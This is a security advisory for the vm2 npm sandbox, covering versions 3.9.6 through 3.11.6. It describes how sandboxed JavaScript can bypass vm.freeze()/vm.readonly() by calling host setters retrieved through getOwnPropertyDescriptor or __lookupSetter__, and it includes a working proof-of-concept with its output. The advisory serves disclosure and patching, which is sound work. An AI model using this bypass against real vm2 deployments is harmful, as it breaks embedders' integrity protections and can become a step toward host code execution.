GHSA-633R-HQ9M-C4FF
Vulnerability from github – Published: 2026-10-01 15:35 – Updated: 2026-10-01 15:35Summary
Untrusted JavaScript running inside new VM().run() / new NodeVM().run() can bypass vm.freeze() / vm.readonly() and mutate a host object the embedder explicitly marked read-only - the documented contract is "prevent sandboxed scripts from adding, changing, or deleting properties". If the frozen host object has an accessor (get/set) own-property, the sandbox can read the host setter back out via Object.getOwnPropertyDescriptor() and call it directly; the call lands in BaseHandler.apply which unwraps the readonly proxy to the raw host object and runs the host setter against it. No non-default VM/NodeVM options are required; the only precondition is that the embedder froze an object whose shape includes an accessor property. A second route to the same sink exists via __lookupSetter__.
PoC
// poc.js
'use strict';
const { VM } = require('vm2');
let _level = 'safe';
const hostConfig = Object.defineProperty({}, 'level', {
get() { return _level; },
set(v) { _level = String(v); },
enumerable: true, configurable: true,
});
const vm = new VM();
vm.freeze(hostConfig, 'cfg');
// Baseline - documented barriers hold:
vm.run(`cfg.level = 'via-set';`);
vm.run(`try { Object.defineProperty(cfg, 'level', {value: 'via-dP'}); } catch (e) {}`);
console.log('after [[Set]]/defineProperty:', _level); // → "safe"
// Bypass - sandbox mutates host via accessor descriptor:
vm.run(`
const d = Object.getOwnPropertyDescriptor(cfg, 'level');
d.set.call(cfg, 'PWNED');
`);
console.log('after getOwnPropertyDescriptor→set.call:', _level); // → "PWNED"
// Variant - same sink via __lookupSetter__:
vm.run(`cfg.__lookupSetter__('level').call(cfg, 'PWNED-2');`);
console.log('after __lookupSetter__:', _level); // → "PWNED-2"
node poc.js
Observed output:
after [[Set]]/defineProperty: safe
after getOwnPropertyDescriptor→set.call: PWNED
after __lookupSetter__: PWNED-2
The first line shows ReadOnlyHandler's documented traps work; the next two show the sandbox mutated the host-side _level despite vm.freeze().
Impact
A sandboxed script can mutate any accessor-backed property on any host object the embedder exposed via vm.freeze() / vm.readonly(), defeating the read-only contract. Data properties are not affected (ReadOnlyHandler.set / .defineProperty block those correctly). This is not a generic sandbox escape on its own; severity depends on what the embedder froze. If a frozen object's setter feeds into host control flow (e.g. set scriptPath(v), set handler(fn)), this becomes a stepping-stone to host code execution in that embedder.
Preconditions: embedder calls vm.freeze()/vm.readonly() on a host object that has at least one accessor own-property. Default VM/NodeVM options otherwise.
Blast radius: integrity of the specific frozen host object(s); downstream impact is embedder-defined.
Persistence: as persistent as the host object (typically process-lifetime).
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.11.6"
},
"package": {
"ecosystem": "npm",
"name": "vm2"
},
"ranges": [
{
"events": [
{
"introduced": "3.9.6"
},
{
"fixed": "3.11.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-92949"
],
"database_specific": {
"cwe_ids": [
"CWE-471",
"CWE-693"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-01T15:35:25Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nUntrusted JavaScript running inside `new VM().run()` / `new NodeVM().run()` can bypass `vm.freeze()` / `vm.readonly()` and mutate a host object the embedder explicitly marked read-only - the documented contract is \"prevent sandboxed scripts from adding, changing, or deleting properties\". If the frozen host object has an accessor (get/set) own-property, the sandbox can read the host setter back out via `Object.getOwnPropertyDescriptor()` and call it directly; the call lands in `BaseHandler.apply` which unwraps the readonly proxy to the raw host object and runs the host setter against it. No non-default `VM`/`NodeVM` options are required; the only precondition is that the embedder froze an object whose shape includes an accessor property. A second route to the same sink exists via `__lookupSetter__`.\n\n### PoC\n```js\n// poc.js\n\u0027use strict\u0027;\nconst { VM } = require(\u0027vm2\u0027);\n\nlet _level = \u0027safe\u0027;\nconst hostConfig = Object.defineProperty({}, \u0027level\u0027, {\n get() { return _level; },\n set(v) { _level = String(v); },\n enumerable: true, configurable: true,\n});\n\nconst vm = new VM();\nvm.freeze(hostConfig, \u0027cfg\u0027);\n\n// Baseline - documented barriers hold:\nvm.run(`cfg.level = \u0027via-set\u0027;`);\nvm.run(`try { Object.defineProperty(cfg, \u0027level\u0027, {value: \u0027via-dP\u0027}); } catch (e) {}`);\nconsole.log(\u0027after [[Set]]/defineProperty:\u0027, _level); // \u2192 \"safe\"\n\n// Bypass - sandbox mutates host via accessor descriptor:\nvm.run(`\n const d = Object.getOwnPropertyDescriptor(cfg, \u0027level\u0027);\n d.set.call(cfg, \u0027PWNED\u0027);\n`);\nconsole.log(\u0027after getOwnPropertyDescriptor\u2192set.call:\u0027, _level); // \u2192 \"PWNED\"\n\n// Variant - same sink via __lookupSetter__:\nvm.run(`cfg.__lookupSetter__(\u0027level\u0027).call(cfg, \u0027PWNED-2\u0027);`);\nconsole.log(\u0027after __lookupSetter__:\u0027, _level); // \u2192 \"PWNED-2\"\n```\n\n```sh\nnode poc.js\n```\n\nObserved output:\n\n```\nafter [[Set]]/defineProperty: safe\nafter getOwnPropertyDescriptor\u2192set.call: PWNED\nafter __lookupSetter__: PWNED-2\n```\n\nThe first line shows `ReadOnlyHandler`\u0027s documented traps work; the next two show the sandbox mutated the host-side `_level` despite `vm.freeze()`.\n\n\n\n### Impact\nA sandboxed script can mutate any accessor-backed property on any host object the embedder exposed via `vm.freeze()` / `vm.readonly()`, defeating the read-only contract. Data properties are not affected (`ReadOnlyHandler.set` / `.defineProperty` block those correctly). This is not a generic sandbox escape on its own; severity depends on what the embedder froze. If a frozen object\u0027s setter feeds into host control flow (e.g. `set scriptPath(v)`, `set handler(fn)`), this becomes a stepping-stone to host code execution in that embedder.\n\n**Preconditions**: embedder calls `vm.freeze()`/`vm.readonly()` on a host object that has at least one accessor own-property. Default `VM`/`NodeVM` options otherwise.\n**Blast radius**: integrity of the specific frozen host object(s); downstream impact is embedder-defined.\n**Persistence**: as persistent as the host object (typically process-lifetime).",
"id": "GHSA-633r-hq9m-c4ff",
"modified": "2026-10-01T15:35:25Z",
"published": "2026-10-01T15:35:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-633r-hq9m-c4ff"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-92949"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/commit/d6ef73bd46488102dae8f4bc35f3f3c0eba2ea64"
},
{
"type": "PACKAGE",
"url": "https://github.com/patriksimek/vm2"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.7"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/vm2-3.9.6-before-3.11.7-sandbox-bypass-via-accessor-descriptor"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "vm2: vm.freeze()/vm.readonly() bypass via accessor descriptor"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
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- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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